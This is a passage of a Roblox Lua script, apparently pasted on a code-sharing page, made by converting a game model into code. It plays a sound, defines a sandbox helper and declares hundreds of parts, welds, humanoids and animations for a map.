my map 2

Run Settings
LanguageLua
Language Version
Run Command
plr = owner local sound = Instance.new("Sound", plr) sound.SoundId = "rbxassetid://3121245679" sound.Looped = true sound.Volume = 4 sound:Play() --Converted with ttyyuu12345's model to script plugin v4 function sandbox(var,func) local env = getfenv(func) local newenv = setmetatable({},{ __index = function(self,k) if k=="script" then return var else return env[k] end end, }) setfenv(func,newenv) return func end cors = {} mas = Instance.new("Model",game:GetService("Lighting")) Model0 = Instance.new("Model") Model1 = Instance.new("Model") Model2 = Instance.new("Model") Part3 = Instance.new("Part") Motor6D4 = Instance.new("Motor6D") BodyForce5 = Instance.new("BodyForce") Part6 = Instance.new("Part") Motor6D7 = Instance.new("Motor6D") Motor6D8 = Instance.new("Motor6D") Motor6D9 = Instance.new("Motor6D") Motor6D10 = Instance.new("Motor6D") Motor6D11 = Instance.new("Motor6D") Part12 = Instance.new("Part") Part13 = Instance.new("Part") Part14 = Instance.new("Part") Part15 = Instance.new("Part") Part16 = Instance.new("Part") Decal17 = Instance.new("Decal") SpecialMesh18 = Instance.new("SpecialMesh") Humanoid19 = Instance.new("Humanoid") Script20 = Instance.new("Script") StringValue21 = Instance.new("StringValue") Animation22 = Instance.new("Animation") StringValue23 = Instance.new("StringValue") Animation24 = Instance.new("Animation") StringValue25 = Instance.new("StringValue") Animation26 = Instance.new("Animation") NumberValue27 = Instance.new("NumberValue") Animation28 = Instance.new("Animation") NumberValue29 = Instance.new("NumberValue") StringValue30 = Instance.new("StringValue") Animation31 = Instance.new("Animation") StringValue32 = Instance.new("StringValue") Animation33 = Instance.new("Animation") StringValue34 = Instance.new("StringValue") Animation35 = Instance.new("Animation") StringValue36 = Instance.new("StringValue") Animation37 = Instance.new("Animation") Script38 = Instance.new("Script") BillboardGui39 = Instance.new("BillboardGui") TextLabel40 = Instance.new("TextLabel") Configuration41 = Instance.new("Configuration") ModuleScript42 = Instance.new("ModuleScript") ModuleScript43 = Instance.new("ModuleScript") ModuleScript44 = Instance.new("ModuleScript") ModuleScript45 = Instance.new("ModuleScript") ModuleScript46 = Instance.new("ModuleScript") ModuleScript47 = Instance.new("ModuleScript") Configuration48 = Instance.new("Configuration") IntValue49 = Instance.new("IntValue") BoolValue50 = Instance.new("BoolValue") IntValue51 = Instance.new("IntValue") IntValue52 = Instance.new("IntValue") Configuration53 = Instance.new("Configuration") Animation54 = Instance.new("Animation") Animation55 = Instance.new("Animation") CharacterMesh56 = Instance.new("CharacterMesh") CharacterMesh57 = Instance.new("CharacterMesh") CharacterMesh58 = Instance.new("CharacterMesh") CharacterMesh59 = Instance.new("CharacterMesh") CharacterMesh60 = Instance.new("CharacterMesh") Sound61 = Instance.new("Sound") BodyColors62 = Instance.new("BodyColors") Model63 = Instance.new("Model") Part64 = Instance.new("Part") Motor6D65 = Instance.new("Motor6D") BodyForce66 = Instance.new("BodyForce") Part67 = Instance.new("Part") Motor6D68 = Instance.new("Motor6D") Motor6D69 = Instance.new("Motor6D") Motor6D70 = Instance.new("Motor6D") Motor6D71 = Instance.new("Motor6D") Motor6D72 = Instance.new("Motor6D") Part73 = Instance.new("Part") Part74 = Instance.new("Part") Part75 = Instance.new("Part") Part76 = Instance.new("Part") Part77 = Instance.new("Part") Decal78 = Instance.new("Decal") SpecialMesh79 = Instance.new("SpecialMesh") Humanoid80 = Instance.new("Humanoid") Script81 = Instance.new("Script") StringValue82 = Instance.new("StringValue") Animation83 = Instance.new("Animation") StringValue84 = Instance.new("StringValue") Animation85 = Instance.new("Animation") StringValue86 = Instance.new("StringValue") Animation87 = Instance.new("Animation") NumberValue88 = Instance.new("NumberValue") Animation89 = Instance.new("Animation") NumberValue90 = Instance.new("NumberValue") StringValue91 = Instance.new("StringValue") Animation92 = Instance.new("Animation") StringValue93 = Instance.new("StringValue") Animation94 = Instance.new("Animation") StringValue95 = Instance.new("StringValue") Animation96 = Instance.new("Animation") StringValue97 = Instance.new("StringValue") Animation98 = Instance.new("Animation") Script99 = Instance.new("Script") BillboardGui100 = Instance.new("BillboardGui") TextLabel101 = Instance.new("TextLabel") Configuration102 = Instance.new("Configuration") ModuleScript103 = Instance.new("ModuleScript") ModuleScript104 = Instance.new("ModuleScript") ModuleScript105 = Instance.new("ModuleScript") ModuleScript106 = Instance.new("ModuleScript") ModuleScript107 = Instance.new("ModuleScript") ModuleScript108 = Instance.new("ModuleScript") Configuration109 = Instance.new("Configuration") IntValue110 = Instance.new("IntValue") BoolValue111 = Instance.new("BoolValue") IntValue112 = Instance.new("IntValue") IntValue113 = Instance.new("IntValue") Configuration114 = Instance.new("Configuration") Animation115 = Instance.new("Animation") Animation116 = Instance.new("Animation") CharacterMesh117 = Instance.new("CharacterMesh") CharacterMesh118 = Instance.new("CharacterMesh") CharacterMesh119 = Instance.new("CharacterMesh") CharacterMesh120 = Instance.new("CharacterMesh") CharacterMesh121 = Instance.new("CharacterMesh") Sound122 = Instance.new("Sound") BodyColors123 = Instance.new("BodyColors") Model124 = Instance.new("Model") Part125 = Instance.new("Part") Motor6D126 = Instance.new("Motor6D") BodyForce127 = Instance.new("BodyForce") Part128 = Instance.new("Part") Motor6D129 = Instance.new("Motor6D") Motor6D130 = Instance.new("Motor6D") Motor6D131 = Instance.new("Motor6D") Motor6D132 = Instance.new("Motor6D") Motor6D133 = Instance.new("Motor6D") Part134 = Instance.new("Part") Part135 = Instance.new("Part") Part136 = Instance.new("Part") Part137 = Instance.new("Part") Part138 = Instance.new("Part") Decal139 = Instance.new("Decal") SpecialMesh140 = Instance.new("SpecialMesh") Humanoid141 = Instance.new("Humanoid") Script142 = Instance.new("Script") StringValue143 = Instance.new("StringValue") Animation144 = Instance.new("Animation") StringValue145 = Instance.new("StringValue") Animation146 = Instance.new("Animation") StringValue147 = Instance.new("StringValue") Animation148 = Instance.new("Animation") NumberValue149 = Instance.new("NumberValue") Animation150 = Instance.new("Animation") NumberValue151 = Instance.new("NumberValue") StringValue152 = Instance.new("StringValue") Animation153 = Instance.new("Animation") StringValue154 = Instance.new("StringValue") Animation155 = Instance.new("Animation") StringValue156 = Instance.new("StringValue") Animation157 = Instance.new("Animation") StringValue158 = Instance.new("StringValue") Animation159 = Instance.new("Animation") Script160 = Instance.new("Script") BillboardGui161 = Instance.new("BillboardGui") TextLabel162 = Instance.new("TextLabel") Configuration163 = Instance.new("Configuration") ModuleScript164 = Instance.new("ModuleScript") ModuleScript165 = Instance.new("ModuleScript") ModuleScript166 = Instance.new("ModuleScript") ModuleScript167 = Instance.new("ModuleScript") ModuleScript168 = Instance.new("ModuleScript") ModuleScript169 = Instance.new("ModuleScript") Configuration170 = Instance.new("Configuration") IntValue171 = Instance.new("IntValue") BoolValue172 = Instance.new("BoolValue") IntValue173 = Instance.new("IntValue") IntValue174 = Instance.new("IntValue") Configuration175 = Instance.new("Configuration") Animation176 = Instance.new("Animation") Animation177 = Instance.new("Animation") CharacterMesh178 = Instance.new("CharacterMesh") CharacterMesh179 = Instance.new("CharacterMesh") CharacterMesh180 = Instance.new("CharacterMesh") CharacterMesh181 = Instance.new("CharacterMesh") CharacterMesh182 = Instance.new("CharacterMesh") Sound183 = Instance.new("Sound") BodyColors184 = Instance.new("BodyColors") Model185 = Instance.new("Model") Part186 = Instance.new("Part") Motor6D187 = Instance.new("Motor6D") BodyForce188 = Instance.new("BodyForce") Part189 = Instance.new("Part") Motor6D190 = Instance.new("Motor6D") Motor6D191 = Instance.new("Motor6D") Motor6D192 = Instance.new("Motor6D") Motor6D193 = Instance.new("Motor6D") Motor6D194 = Instance.new("Motor6D") Part195 = Instance.new("Part") Part196 = Instance.new("Part") Part197 = Instance.new("Part") Part198 = Instance.new("Part") Part199 = Instance.new("Part") Decal200 = Instance.new("Decal") SpecialMesh201 = Instance.new("SpecialMesh") Humanoid202 = Instance.new("Humanoid") Script203 = Instance.new("Script") StringValue204 = Instance.new("StringValue") Animation205 = Instance.new("Animation") StringValue206 = Instance.new("StringValue") Animation207 = Instance.new("Animation") StringValue208 = Instance.new("StringValue") Animation209 = Instance.new("Animation") NumberValue210 = Instance.new("NumberValue") Animation211 = Instance.new("Animation") NumberValue212 = Instance.new("NumberValue") StringValue213 = Instance.new("StringValue") Animation214 = Instance.new("Animation") StringValue215 = Instance.new("StringValue") Animation216 = Instance.new("Animation") StringValue217 = Instance.new("StringValue") Animation218 = Instance.new("Animation") StringValue219 = Instance.new("StringValue") Animation220 = Instance.new("Animation") Script221 = Instance.new("Script") BillboardGui222 = Instance.new("BillboardGui") TextLabel223 = Instance.new("TextLabel") Configuration224 = Instance.new("Configuration") ModuleScript225 = Instance.new("ModuleScript") ModuleScript226 = Instance.new("ModuleScript") ModuleScript227 = Instance.new("ModuleScript") ModuleScript228 = Instance.new("ModuleScript") ModuleScript229 = Instance.new("ModuleScript") ModuleScript230 = Instance.new("ModuleScript") Configuration231 = Instance.new("Configuration") IntValue232 = Instance.new("IntValue") BoolValue233 = Instance.new("BoolValue") IntValue234 = Instance.new("IntValue") IntValue235 = Instance.new("IntValue") Configuration236 = Instance.new("Configuration") Animation237 = Instance.new("Animation") Animation238 = Instance.new("Animation") CharacterMesh239 = Instance.new("CharacterMesh") CharacterMesh240 = Instance.new("CharacterMesh") CharacterMesh241 = Instance.new("CharacterMesh") CharacterMesh242 = Instance.new("CharacterMesh") CharacterMesh243 = Instance.new("CharacterMesh") Sound244 = Instance.new("Sound") BodyColors245 = Instance.new("BodyColors") Model246 = Instance.new("Model") Part247 = Instance.new("Part") Motor6D248 = Instance.new("Motor6D") BodyForce249 = Instance.new("BodyForce") Part250 = Instance.new("Part") Motor6D251 = Instance.new("Motor6D") Motor6D252 = Instance.new("Motor6D") Motor6D253 = Instance.new("Motor6D") Motor6D254 = Instance.new("Motor6D") Motor6D255 = Instance.new("Motor6D") Part256 = Instance.new("Part") Part257 = Instance.new("Part") Part258 = Instance.new("Part") Part259 = Instance.new("Part") Part260 = Instance.new("Part") Decal261 = Instance.new("Decal") SpecialMesh262 = Instance.new("SpecialMesh") Humanoid263 = Instance.new("Humanoid") Script264 = Instance.new("Script") StringValue265 = Instance.new("StringValue") Animation266 = Instance.new("Animation") StringValue267 = Instance.new("StringValue") Animation268 = Instance.new("Animation") StringValue269 = Instance.new("StringValue") Animation270 = Instance.new("Animation") NumberValue271 = Instance.new("NumberValue") Animation272 = Instance.new("Animation") NumberValue273 = Instance.new("NumberValue") StringValue274 = Instance.new("StringValue") Animation275 = Instance.new("Animation") StringValue276 = Instance.new("StringValue") Animation277 = Instance.new("Animation") StringValue278 = Instance.new("StringValue") Animation279 = Instance.new("Animation") StringValue280 = Instance.new("StringValue") Animation281 = Instance.new("Animation") Script282 = Instance.new("Script") BillboardGui283 = Instance.new("BillboardGui") TextLabel284 = Instance.new("TextLabel") Configuration285 = Instance.new("Configuration") ModuleScript286 = Instance.new("ModuleScript") ModuleScript287 = Instance.new("ModuleScript") ModuleScript288 = Instance.new("ModuleScript") ModuleScript289 = Instance.new("ModuleScript") ModuleScript290 = Instance.new("ModuleScript") ModuleScript291 = Instance.new("ModuleScript") Configuration292 = Instance.new("Configuration") IntValue293 = Instance.new("IntValue") BoolValue294 = Instance.new("BoolValue") IntValue295 = Instance.new("IntValue") IntValue296 = Instance.new("IntValue") Configuration297 = Instance.new("Configuration") Animation298 = Instance.new("Animation") Animation299 = Instance.new("Animation") CharacterMesh300 = Instance.new("CharacterMesh") CharacterMesh301 = Instance.new("CharacterMesh") CharacterMesh302 = Instance.new("CharacterMesh") CharacterMesh303 = Instance.new("CharacterMesh") CharacterMesh304 = Instance.new("CharacterMesh") Sound305 = Instance.new("Sound") BodyColors306 = Instance.new("BodyColors") Model307 = Instance.new("Model") Model308 = Instance.new("Model") Part309 = Instance.new("Part") Part310 = Instance.new("Part") Part311 = Instance.new("Part") Part312 = Instance.new("Part") Smoke313 = Instance.new("Smoke") Fire314 = Instance.new("Fire") PointLight315 = Instance.new("PointLight") Part316 = Instance.new("Part") Part317 = Instance.new("Part") Part318 = Instance.new("Part") Model319 = Instance.new("Model") Model320 = Instance.new("Model") Part321 = Instance.new("Part") SpecialMesh322 = Instance.new("SpecialMesh") Decal323 = Instance.new("Decal") Weld324 = Instance.new("Weld") Weld325 = Instance.new("Weld") Weld326 = Instance.new("Weld") Weld327 = Instance.new("Weld") Part328 = Instance.new("Part") Motor6D329 = Instance.new("Motor6D") Part330 = Instance.new("Part") Weld331 = Instance.new("Weld") Part332 = Instance.new("Part") Snap333 = Instance.new("Snap") Part334 = Instance.new("Part") Weld335 = Instance.new("Weld") Part336 = Instance.new("Part") Part337 = Instance.new("Part") Motor6D338 = Instance.new("Motor6D") Motor6D339 = Instance.new("Motor6D") Snap340 = Instance.new("Snap") Humanoid341 = Instance.new("Humanoid") Accessory342 = Instance.new("Accessory") Part343 = Instance.new("Part") SpecialMesh344 = Instance.new("SpecialMesh") StringValue345 = Instance.new("StringValue") Weld346 = Instance.new("Weld") Weld347 = Instance.new("Weld") Accessory348 = Instance.new("Accessory") Part349 = Instance.new("Part") SpecialMesh350 = Instance.new("SpecialMesh") StringValue351 = Instance.new("StringValue") Weld352 = Instance.new("Weld") Weld353 = Instance.new("Weld") Accessory354 = Instance.new("Accessory") Part355 = Instance.new("Part") SpecialMesh356 = Instance.new("SpecialMesh") Weld357 = Instance.new("Weld") Weld358 = Instance.new("Weld") Camera359 = Instance.new("Camera") Accessory360 = Instance.new("Accessory") Part361 = Instance.new("Part") SpecialMesh362 = Instance.new("SpecialMesh") Weld363 = Instance.new("Weld") Weld364 = Instance.new("Weld") BodyColors365 = Instance.new("BodyColors") Shirt366 = Instance.new("Shirt") Pants367 = Instance.new("Pants") Model368 = Instance.new("Model") Model369 = Instance.new("Model") Part370 = Instance.new("Part") Weld371 = Instance.new("Weld") Weld372 = Instance.new("Weld") Part373 = Instance.new("Part") Part374 = Instance.new("Part") Weld375 = Instance.new("Weld") Part376 = Instance.new("Part") Part377 = Instance.new("Part") SpecialMesh378 = Instance.new("SpecialMesh") Decal379 = Instance.new("Decal") Snap380 = Instance.new("Snap") Part381 = Instance.new("Part") Weld382 = Instance.new("Weld") Weld383 = Instance.new("Weld") Weld384 = Instance.new("Weld") Weld385 = Instance.new("Weld") Weld386 = Instance.new("Weld") Model387 = Instance.new("Model") Part388 = Instance.new("Part") Weld389 = Instance.new("Weld") Weld390 = Instance.new("Weld") Weld391 = Instance.new("Weld") Part392 = Instance.new("Part") Weld393 = Instance.new("Weld") Weld394 = Instance.new("Weld") Weld395 = Instance.new("Weld") Weld396 = Instance.new("Weld") Weld397 = Instance.new("Weld") Weld398 = Instance.new("Weld") Weld399 = Instance.new("Weld") Weld400 = Instance.new("Weld") Weld401 = Instance.new("Weld") Weld402 = Instance.new("Weld") Part403 = Instance.new("Part") Weld404 = Instance.new("Weld") Weld405 = Instance.new("Weld") Snap406 = Instance.new("Snap") Weld407 = Instance.new("Weld") Weld408 = Instance.new("Weld") Weld409 = Instance.new("Weld") Weld410 = Instance.new("Weld") Weld411 = Instance.new("Weld") Weld412 = Instance.new("Weld") Weld413 = Instance.new("Weld") Weld414 = Instance.new("Weld") Weld415 = Instance.new("Weld") Weld416 = Instance.new("Weld") Part417 = Instance.new("Part") Weld418 = Instance.new("Weld") Part419 = Instance.new("Part") SpecialMesh420 = Instance.new("SpecialMesh") Decal421 = Instance.new("Decal") Part422 = Instance.new("Part") Script423 = Instance.new("Script") Weld424 = Instance.new("Weld") Weld425 = Instance.new("Weld") Model426 = Instance.new("Model") Part427 = Instance.new("Part") Part428 = Instance.new("Part") Weld429 = Instance.new("Weld") Weld430 = Instance.new("Weld") Weld431 = Instance.new("Weld") Weld432 = Instance.new("Weld") Weld433 = Instance.new("Weld") Part434 = Instance.new("Part") Weld435 = Instance.new("Weld") Weld436 = Instance.new("Weld") Snap437 = Instance.new("Snap") Part438 = Instance.new("Part") Weld439 = Instance.new("Weld") Weld440 = Instance.new("Weld") Weld441 = Instance.new("Weld") Weld442 = Instance.new("Weld") Weld443 = Instance.new("Weld") Weld444 = Instance.new("Weld") Weld445 = Instance.new("Weld") Weld446 = Instance.new("Weld") Weld447 = Instance.new("Weld") Weld448 = Instance.new("Weld") Part449 = Instance.new("Part") SpecialMesh450 = Instance.new("SpecialMesh") Decal451 = Instance.new("Decal") Part452 = Instance.new("Part") Script453 = Instance.new("Script") Model454 = Instance.new("Model") Model455 = Instance.new("Model") Part456 = Instance.new("Part") SpecialMesh457 = Instance.new("SpecialMesh") Weld458 = Instance.new("Weld") Part459 = Instance.new("Part") SpecialMesh460 = Instance.new("SpecialMesh") Part461 = Instance.new("Part") SpecialMesh462 = Instance.new("SpecialMesh") Weld463 = Instance.new("Weld") Weld464 = Instance.new("Weld") Weld465 = Instance.new("Weld") Weld466 = Instance.new("Weld") Weld467 = Instance.new("Weld") Part468 = Instance.new("Part") SpecialMesh469 = Instance.new("SpecialMesh") Weld470 = Instance.new("Weld") Weld471 = Instance.new("Weld") Weld472 = Instance.new("Weld") Weld473 = Instance.new("Weld") Weld474 = Instance.new("Weld") Part475 = Instance.new("Part") Weld476 = Instance.new("Weld") Weld477 = Instance.new("Weld") Weld478 = Instance.new("Weld") Weld479 = Instance.new("Weld") Weld480 = Instance.new("Weld") Weld481 = Instance.new("Weld") Weld482 = Instance.new("Weld") Weld483 = Instance.new("Weld") Weld484 = Instance.new("Weld") Weld485 = Instance.new("Weld") Weld486 = Instance.new("Weld") Weld487 = Instance.new("Weld") Weld488 = Instance.new("Weld") Weld489 = Instance.new("Weld") Weld490 = Instance.new("Weld") Weld491 = Instance.new("Weld") Weld492 = Instance.new("Weld") Weld493 = Instance.new("Weld") Weld494 = Instance.new("Weld") Weld495 = Instance.new("Weld") Weld496 = Instance.new("Weld") Weld497 = Instance.new("Weld") Weld498 = Instance.new("Weld") Weld499 = Instance.new("Weld") Part500 = Instance.new("Part") Script501 = Instance.new("Script") Weld502 = Instance.new("Weld") Weld503 = Instance.new("Weld") Weld504 = Instance.new("Weld") Model505 = Instance.new("Model") Part506 = Instance.new("Part") Weld507 = Instance.new("Weld") Weld508 = Instance.new("Weld") Weld509 = Instance.new("Weld") Weld510 = Instance.new("Weld") Weld511 = Instance.new("Weld") Part512 = Instance.new("Part") Weld513 = Instance.new("Weld") Weld514 = Instance.new("Weld") Weld515 = Instance.new("Weld") Weld516 = Instance.new("Weld") Weld517 = Instance.new("Weld") Part518 = Instance.new("Part") SpecialMesh519 = Instance.new("SpecialMesh") Part520 = Instance.new("Part") SpecialMesh521 = Instance.new("SpecialMesh") Weld522 = Instance.new("Weld") Weld523 = Instance.new("Weld") Weld524 = Instance.new("Weld") Weld525 = Instance.new("Weld") Weld526 = Instance.new("Weld") Part527 = Instance.new("Part") SpecialMesh528 = Instance.new("SpecialMesh") Weld529 = Instance.new("Weld") Weld530 = Instance.new("Weld") Weld531 = Instance.new("Weld") Weld532 = Instance.new("Weld") Weld533 = Instance.new("Weld") Part534 = Instance.new("Part") SpecialMesh535 = Instance.new("SpecialMesh") Part536 = Instance.new("Part") Weld537 = Instance.new("Weld") Weld538 = Instance.new("Weld") Weld539 = Instance.new("Weld") Part540 = Instance.new("Part") Script541 = Instance.new("Script") Weld542 = Instance.new("Weld") Weld543 = Instance.new("Weld") Weld544 = Instance.new("Weld") Weld545 = Instance.new("Weld") Script546 = Instance.new("Script") Model547 = Instance.new("Model") Part548 = Instance.new("Part") SpecialMesh549 = Instance.new("SpecialMesh") Weld550 = Instance.new("Weld") Weld551 = Instance.new("Weld") Weld552 = Instance.new("Weld") Weld553 = Instance.new("Weld") Weld554 = Instance.new("Weld") Part555 = Instance.new("Part") SpecialMesh556 = Instance.new("SpecialMesh") Weld557 = Instance.new("Weld") Weld558 = Instance.new("Weld") Weld559 = Instance.new("Weld") Weld560 = Instance.new("Weld") Weld561 = Instance.new("Weld") Part562 = Instance.new("Part") SpecialMesh563 = Instance.new("SpecialMesh") Weld564 = Instance.new("Weld") Weld565 = Instance.new("Weld") Weld566 = Instance.new("Weld") Weld567 = Instance.new("Weld") Weld568 = Instance.new("Weld") Part569 = Instance.new("Part") SpecialMesh570 = Instance.new("SpecialMesh") Weld571 = Instance.new("Weld") Weld572 = Instance.new("Weld") Weld573 = Instance.new("Weld") Weld574 = Instance.new("Weld") Part575 = Instance.new("Part") Weld576 = Instance.new("Weld") Weld577 = Instance.new("Weld") Weld578 = Instance.new("Weld") Part579 = Instance.new("Part") Script580 = Instance.new("Script") Weld581 = Instance.new("Weld") Weld582 = Instance.new("Weld") Model583 = Instance.new("Model") Part584 = Instance.new("Part") SpecialMesh585 = Instance.new("SpecialMesh") Weld586 = Instance.new("Weld") Part587 = Instance.new("Part") SpecialMesh588 = Instance.new("SpecialMesh") Weld589 = Instance.new("Weld") Weld590 = Instance.new("Weld") Weld591 = Instance.new("Weld") Weld592 = Instance.new("Weld") Part593 = Instance.new("Part") Weld594 = Instance.new("Weld") Weld595 = Instance.new("Weld") Weld596 = Instance.new("Weld") Weld597 = Instance.new("Weld") Weld598 = Instance.new("Weld") Part599 = Instance.new("Part") SpecialMesh600 = Instance.new("SpecialMesh") Weld601 = Instance.new("Weld") Part602 = Instance.new("Part") SpecialMesh603 = Instance.new("SpecialMesh") Part604 = Instance.new("Part") Texture605 = Instance.new("Texture") Rotate606 = Instance.new("Rotate") Part607 = Instance.new("Part") Texture608 = Instance.new("Texture") Script609 = Instance.new("Script") Weld610 = Instance.new("Weld") Weld611 = Instance.new("Weld") Weld612 = Instance.new("Weld") Weld613 = Instance.new("Weld") Weld614 = Instance.new("Weld") Weld615 = Instance.new("Weld") Weld616 = Instance.new("Weld") Weld617 = Instance.new("Weld") Weld618 = Instance.new("Weld") Weld619 = Instance.new("Weld") Part620 = Instance.new("Part") Texture621 = Instance.new("Texture") Weld622 = Instance.new("Weld") Weld623 = Instance.new("Weld") Part624 = Instance.new("Part") Weld625 = Instance.new("Weld") Weld626 = Instance.new("Weld") Weld627 = Instance.new("Weld") Weld628 = Instance.new("Weld") Weld629 = Instance.new("Weld") Part630 = Instance.new("Part") SpecialMesh631 = Instance.new("SpecialMesh") Weld632 = Instance.new("Weld") Part633 = Instance.new("Part") Weld634 = Instance.new("Weld") Part635 = Instance.new("Part") Weld636 = Instance.new("Weld") Weld637 = Instance.new("Weld") Weld638 = Instance.new("Weld") Weld639 = Instance.new("Weld") Weld640 = Instance.new("Weld") Model641 = Instance.new("Model") Part642 = Instance.new("Part") Weld643 = Instance.new("Weld") Weld644 = Instance.new("Weld") Weld645 = Instance.new("Weld") Weld646 = Instance.new("Weld") Weld647 = Instance.new("Weld") Part648 = Instance.new("Part") Weld649 = Instance.new("Weld") Part650 = Instance.new("Part") SpecialMesh651 = Instance.new("SpecialMesh") Weld652 = Instance.new("Weld") Part653 = Instance.new("Part") SpecialMesh654 = Instance.new("SpecialMesh") Part655 = Instance.new("Part") SpecialMesh656 = Instance.new("SpecialMesh") Part657 = Instance.new("Part") SpecialMesh658 = Instance.new("SpecialMesh") Part659 = Instance.new("Part") Part660 = Instance.new("Part") Script661 = Instance.new("Script") Weld662 = Instance.new("Weld") Weld663 = Instance.new("Weld") Weld664 = Instance.new("Weld") Weld665 = Instance.new("Weld") Weld666 = Instance.new("Weld") Weld667 = Instance.new("Weld") Weld668 = Instance.new("Weld") Weld669 = Instance.new("Weld") Model670 = Instance.new("Model") Part671 = Instance.new("Part") SpecialMesh672 = Instance.new("SpecialMesh") Weld673 = Instance.new("Weld") Weld674 = Instance.new("Weld") Weld675 = Instance.new("Weld") Weld676 = Instance.new("Weld") Part677 = Instance.new("Part") SpecialMesh678 = Instance.new("SpecialMesh") Part679 = Instance.new("Part") SpecialMesh680 = Instance.new("SpecialMesh") Part681 = Instance.new("Part") SpecialMesh682 = Instance.new("SpecialMesh") Part683 = Instance.new("Part") Part684 = Instance.new("Part") Script685 = Instance.new("Script") Weld686 = Instance.new("Weld") Weld687 = Instance.new("Weld") Weld688 = Instance.new("Weld") Weld689 = Instance.new("Weld") Weld690 = Instance.new("Weld") Weld691 = Instance.new("Weld") Weld692 = Instance.new("Weld") Model693 = Instance.new("Model") Part694 = Instance.new("Part") SpecialMesh695 = Instance.new("SpecialMesh") Part696 = Instance.new("Part") SpecialMesh697 = Instance.new("SpecialMesh") Part698 = Instance.new("Part") SpecialMesh699 = Instance.new("SpecialMesh") Weld700 = Instance.new("Weld") Part701 = Instance.new("Part") SpecialMesh702 = Instance.new("SpecialMesh") Weld703 = Instance.new("Weld") Part704 = Instance.new("Part") Weld705 = Instance.new("Weld") Weld706 = Instance.new("Weld") Part707 = Instance.new("Part") Script708 = Instance.new("Script") Weld709 = Instance.new("Weld") Weld710 = Instance.new("Weld") Weld711 = Instance.new("Weld") Weld712 = Instance.new("Weld") Weld713 = Instance.new("Weld") Weld714 = Instance.new("Weld") Model715 = Instance.new("Model") Part716 = Instance.new("Part") Part717 = Instance.new("Part") Part718 = Instance.new("Part") Weld719 = Instance.new("Weld") Part720 = Instance.new("Part") Weld721 = Instance.new("Weld") Weld722 = Instance.new("Weld") Part723 = Instance.new("Part") SpecialMesh724 = Instance.new("SpecialMesh") Decal725 = Instance.new("Decal") Snap726 = Instance.new("Snap") Part727 = Instance.new("Part") Script728 = Instance.new("Script") Weld729 = Instance.new("Weld") Weld730 = Instance.new("Weld") Weld731 = Instance.new("Weld") Weld732 = Instance.new("Weld") Weld733 = Instance.new("Weld") Model734 = Instance.new("Model") Part735 = Instance.new("Part") Weld736 = Instance.new("Weld") Part737 = Instance.new("Part") Weld738 = Instance.new("Weld") Weld739 = Instance.new("Weld") Weld740 = Instance.new("Weld") Weld741 = Instance.new("Weld") Weld742 = Instance.new("Weld") Weld743 = Instance.new("Weld") Weld744 = Instance.new("Weld") Weld745 = Instance.new("Weld") Weld746 = Instance.new("Weld") Weld747 = Instance.new("Weld") Part748 = Instance.new("Part") Weld749 = Instance.new("Weld") Weld750 = Instance.new("Weld") Part751 = Instance.new("Part") Weld752 = Instance.new("Weld") Weld753 = Instance.new("Weld") Weld754 = Instance.new("Weld") Weld755 = Instance.new("Weld") Weld756 = Instance.new("Weld") Part757 = Instance.new("Part") SpecialMesh758 = Instance.new("SpecialMesh") Decal759 = Instance.new("Decal") Snap760 = Instance.new("Snap") Part761 = Instance.new("Part") Script762 = Instance.new("Script") Weld763 = Instance.new("Weld") Model764 = Instance.new("Model") Part765 = Instance.new("Part") Weld766 = Instance.new("Weld") Weld767 = Instance.new("Weld") Weld768 = Instance.new("Weld") Weld769 = Instance.new("Weld") Weld770 = Instance.new("Weld") Weld771 = Instance.new("Weld") Weld772 = Instance.new("Weld") Weld773 = Instance.new("Weld") Weld774 = Instance.new("Weld") Part775 = Instance.new("Part") Weld776 = Instance.new("Weld") Weld777 = Instance.new("Weld") Weld778 = Instance.new("Weld") Weld779 = Instance.new("Weld") Weld780 = Instance.new("Weld") Part781 = Instance.new("Part") Weld782 = Instance.new("Weld") Weld783 = Instance.new("Weld") Snap784 = Instance.new("Snap") Weld785 = Instance.new("Weld") Weld786 = Instance.new("Weld") Weld787 = Instance.new("Weld") Weld788 = Instance.new("Weld") Weld789 = Instance.new("Weld") Weld790 = Instance.new("Weld") Weld791 = Instance.new("Weld") Weld792 = Instance.new("Weld") Weld793 = Instance.new("Weld") Weld794 = Instance.new("Weld") Weld795 = Instance.new("Weld") Weld796 = Instance.new("Weld") Weld797 = Instance.new("Weld") Part798 = Instance.new("Part") Part799 = Instance.new("Part") SpecialMesh800 = Instance.new("SpecialMesh") Decal801 = Instance.new("Decal") Part802 = Instance.new("Part") Script803 = Instance.new("Script") Weld804 = Instance.new("Weld") Weld805 = Instance.new("Weld") Weld806 = Instance.new("Weld") Model807 = Instance.new("Model") Part808 = Instance.new("Part") Vector3Value809 = Instance.new("Vector3Value") Vector3Value810 = Instance.new("Vector3Value") MeshPart811 = Instance.new("MeshPart") Motor6D812 = Instance.new("Motor6D") Vector3Value813 = Instance.new("Vector3Value") MeshPart814 = Instance.new("MeshPart") Motor6D815 = Instance.new("Motor6D") MeshPart816 = Instance.new("MeshPart") Motor6D817 = Instance.new("Motor6D") MeshPart818 = Instance.new("MeshPart") Motor6D819 = Instance.new("Motor6D") MeshPart820 = Instance.new("MeshPart") Motor6D821 = Instance.new("Motor6D") MeshPart822 = Instance.new("MeshPart") Motor6D823 = Instance.new("Motor6D") MeshPart824 = Instance.new("MeshPart") Motor6D825 = Instance.new("Motor6D") MeshPart826 = Instance.new("MeshPart") Motor6D827 = Instance.new("Motor6D") MeshPart828 = Instance.new("MeshPart") Motor6D829 = Instance.new("Motor6D") MeshPart830 = Instance.new("MeshPart") Motor6D831 = Instance.new("Motor6D") MeshPart832 = Instance.new("MeshPart") Motor6D833 = Instance.new("Motor6D") MeshPart834 = Instance.new("MeshPart") Motor6D835 = Instance.new("Motor6D") MeshPart836 = Instance.new("MeshPart") Motor6D837 = Instance.new("Motor6D") MeshPart838 = Instance.new("MeshPart") Motor6D839 = Instance.new("Motor6D") Humanoid840 = Instance.new("Humanoid") NumberValue841 = Instance.new("NumberValue") NumberValue842 = Instance.new("NumberValue") NumberValue843 = Instance.new("NumberValue") NumberValue844 = Instance.new("NumberValue") NumberValue845 = Instance.new("NumberValue") NumberValue846 = Instance.new("NumberValue") BoolValue847 = Instance.new("BoolValue") Part848 = Instance.new("Part") SpecialMesh849 = Instance.new("SpecialMesh") Motor6D850 = Instance.new("Motor6D") Decal851 = Instance.new("Decal") Dialog852 = Instance.new("Dialog") Accessory853 = Instance.new("Accessory") Part854 = Instance.new("Part") SpecialMesh855 = Instance.new("SpecialMesh") StringValue856 = Instance.new("StringValue") Weld857 = Instance.new("Weld") Weld858 = Instance.new("Weld") Weld859 = Instance.new("Weld") Accessory860 = 